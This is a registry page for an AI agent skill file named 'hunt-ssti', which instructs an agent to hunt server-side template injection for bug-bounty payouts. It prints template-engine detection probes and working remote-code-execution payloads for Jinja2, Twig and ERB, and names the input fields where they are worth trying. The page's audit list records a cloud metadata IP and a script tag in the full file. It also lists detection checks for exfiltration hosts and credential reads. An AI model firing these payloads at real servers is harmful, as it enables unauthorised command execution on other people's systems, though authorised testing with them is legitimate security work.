hunt-ssti SKILL.md skillC
hunt-ssti from adriannoes/awesome-agentic-ai is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add adriannoes/awesome-agentic-ai/hunt-ssti@git:20260611.ff4cc7cPins git:20260611.ff4cc7c in mdr.lock. Pin the fingerprint instead.
- Audit grade
- C, 15 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- adriannoes/awesome-agentic-ai
- Path
cursor-claude-codex/skills/bug-hunter/skills/hunt-ssti/SKILL.md- Versions recorded
- 1
- Latest version
- git:20260611.ff4cc7c, committed Jun 11, 2026
- Size
- 3,855 bytes
- Repository stars
- 69
- License
- MIT
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval…
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
### Detection Payloads (try all)
```
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity
<%= 7*7 %> → 49 = ERB (Ruby)
#{7*7} → 49 = Mako
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (not Twig)
```
### RCE Payloads
**Jinja2 (Python/Flask):**
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
**Twig (PHP/Symfony):**
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
**ERB (Ruby):**
```ruby
<%= `id` %>
```
### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
```
---
## Related Skills & Chains
…Read the whole file at its exact version.
How to install
mdr add adriannoes/awesome-agentic-ai/hunt-ssti@sha256:30e314db34f5324cThe line at the top of this page pins the label git:20260611.ff4cc7c, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_3scscmvlo7mfqzwj)
1 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 1 version of this file, committed on Jun 11, 2026.
Audit of the latest version
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- fail: No script tag (matched: <script)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (3855 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
adriannoes/awesome-agentic-ai · 69 stars · license MIT · pushed 2026-10-10 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_3scscmvlo7mfqzwj GET https://markdownregistry.com/api/v1/resolve?ref=adriannoes/awesome-agentic-ai/hunt-ssti GET https://markdownregistry.com/api/v1/blob/30e314db34f5324c2ee0f2d9a20d02f0bd9b0076e8c46a348125be539b392766
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.
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